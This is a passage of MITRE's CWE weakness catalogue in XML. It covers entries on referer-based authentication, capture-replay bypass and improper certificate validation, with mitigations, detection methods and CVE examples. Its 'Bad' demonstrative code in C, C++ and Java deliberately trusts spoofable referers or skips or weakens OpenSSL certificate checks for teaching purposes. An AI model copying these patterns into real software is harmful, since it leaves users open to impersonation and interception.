               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-06-23</Modification_Date>
               <Modification_Importance>Critical</Modification_Importance>
               <Modification_Comment>CWE-247 and CWE-292 deprecated and merged into CWE-350 to address duplicates.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Likelihood_of_Exploit, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-07-17">Trusting Self-reported DNS Name</Previous_Entry_Name>
			<Previous_Entry_Name Date="2021-07-20">DEPRECATED (Duplicate): Trusting Self-reported DNS Name</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="293" Name="Using Referer Field for Authentication" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="290" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>The referer field in HTML requests can be simply modified by malicious users, rendering it useless as a means of checking the validity of the request in question.</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>referrer</Term>
               <Description>While the proper spelling might be regarded as "referrer," the HTTP RFCs and their implementations use "referer," so this is regarded as the correct spelling.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Actions, which may not be authorized otherwise, can be carried out as if they were validated by the server referred to.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>In order to usefully check if a given action is authorized, some means of strong authentication and method protection must be used. Use other means of authorization that cannot be simply spoofed. Possibilities include a username/password or certificate.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code samples check a packet's referer in order to decide whether or not an inbound request is from a trusted host.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>String trustedReferer = "http://www.example.com/"<xhtml:br/>while(true){<xhtml:div style="margin-left:1em;">n = read(newsock, buffer, BUFSIZE);<xhtml:br/>requestPacket = processPacket(buffer, n);<xhtml:br/>if (requestPacket.referer == trustedReferer){<xhtml:div style="margin-left:1em;">openNewSecureSession(requestPacket);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>boolean processConnectionRequest(HttpServletRequest request){<xhtml:div style="margin-left:1em;">String referer = request.getHeader("referer")<xhtml:br/>String trustedReferer = "http://www.example.com/"<xhtml:br/>if(referer.equals(trustedReferer)){<xhtml:div style="margin-left:1em;">openPrivilegedConnection(request);<xhtml:br/>return true;</xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">sendPrivilegeError(request);<xhtml:br/>return false;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>These examples check if a request is from a trusted referer before responding to a request, but the code only verifies the referer name as stored in the request packet. An attacker can spoof the referer, thus impersonating a trusted client.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Using referrer field for authentication</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP29</Entry_ID>
               <Entry_Name>Faulty endpoint authentication</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 17, &#34;Referer Request Header&#34;, Page 1030"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Background_Details, Common_Consequences, Relationships, Relevant_Properties, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships, Relevant_Properties</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="294" Name="Authentication Bypass by Capture-replay" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).</Description>
         <Extended_Description>Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1390" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-3435</Reference>
               <Description>product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3435</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4961</Reference>
               <Description>Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4961</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Authentication bypass by replay</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Capture-replay</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="102"/>
            <Related_Attack_Pattern CAPEC_ID="509"/>
            <Related_Attack_Pattern CAPEC_ID="555"/>
            <Related_Attack_Pattern CAPEC_ID="561"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
            <Related_Attack_Pattern CAPEC_ID="644"/>
            <Related_Attack_Pattern CAPEC_ID="645"/>
            <Related_Attack_Pattern CAPEC_ID="652"/>
            <Related_Attack_Pattern CAPEC_ID="701"/>
            <Related_Attack_Pattern CAPEC_ID="94"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="295" Name="Improper Certificate Validation" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not validate, or incorrectly validates, a certificate.</Description>
         <Extended_Description>When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by interfering in the communication path between the host and client. The product might connect to a malicious host while believing it is a trusted host, or the product might be deceived into accepting spoofed data that appears to originate from a trusted host.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="322" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>A certificate is a token that associates an identity (principal) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>When the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Authentication</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Bytecode Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                           <xhtml:li>Binary Weakness Analysis - including disassembler + source code weakness analysis</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Binary or Bytecode</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Binary / Bytecode disassembler - then use manual analysis for vulnerabilities &amp; anomalies</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Automated Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Web Application Scanner</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Man-in-the-middle attack tool</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-121">
               <Intro_Text>This code checks the certificate of a connected peer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if ((cert = SSL_get_peer_certificate(ssl)) &amp;&amp; host)<xhtml:div style="margin-left:1em;">foo=SSL_get_verify_result(ssl);</xhtml:div>
                     <xhtml:br/>if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// certificate looks good, host can be trusted</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or using an Adversary-in-the-Middle (AITM) attack to modify the traffic from server to client.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-122">
               <Intro_Text>The following OpenSSL code obtains a certificate and verifies it.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>cert = SSL_get_peer_certificate(ssl);<xhtml:br/>if (cert &amp;&amp; (SSL_get_verify_result(ssl)==X509_V_OK)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// do secret things</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-123">
               <Intro_Text>The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (cert = SSL_get_peer(certificate(ssl)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>foo=SSL_get_verify_result(ssl);<xhtml:br/>if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>//do stuff</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-124">
               <Intro_Text>The following OpenSSL code ensures that there is a certificate before continuing execution.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (cert = SSL_get_peer_certificate(ssl)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// got a certificate, do secret things</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Because this code does not use SSL_get_verify_results() to check the certificate, it could accept certificates that have been revoked (X509_V_ERR_CERT_REVOKED). The software could be communicating with a malicious host.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-125">
               <Intro_Text>The following OpenSSL code ensures that the host has a certificate.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>if (cert = SSL_get_peer_certificate(ssl)) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// got certificate, host can be trusted</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//foo=SSL_get_verify_result(ssl);</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>//if (X509_V_OK==foo) ...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-12496</Reference>
               <Description>A Go framework for robotics, drones, and IoT devices skips verification of root CA certificates by default.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-12496</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2014-1266</Reference>
               <Description>chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -&gt; CWE-561 (Dead Code) -&gt; CWE-295 (Improper Certificate Validation) -&gt; CWE-393 (Return of Wrong Status Code) -&gt; CWE-300 (Channel Accessible by Non-Endpoint).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2014-1266</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2021-22909</Reference>
               <Description>Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-22909</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4989</Reference>
               <Description>Verification function trusts certificate chains in which the last certificate is self-signed.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4989</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5821</Reference>
               <Description>Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5821</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-3046</Reference>
               <Description>Web browser does not check if any intermediate certificates are revoked.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-3046</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-0199</Reference>
               <Description>Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-0199</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5810</Reference>
               <Description>Mobile banking application does not verify hostname, leading to financial loss.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5810</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-3446</Reference>
               <Description>Cloud-support library written in Python uses incorrect regular expression when matching hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-3446</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-2408</Reference>
               <Description>Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2408</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-2993</Reference>
               <Description>Smartphone device does not verify hostname, allowing spoofing of mail services.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-2993</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5822</Reference>
               <Description>Application uses third-party library that does not validate hostname.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-5822</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-5819</Reference>
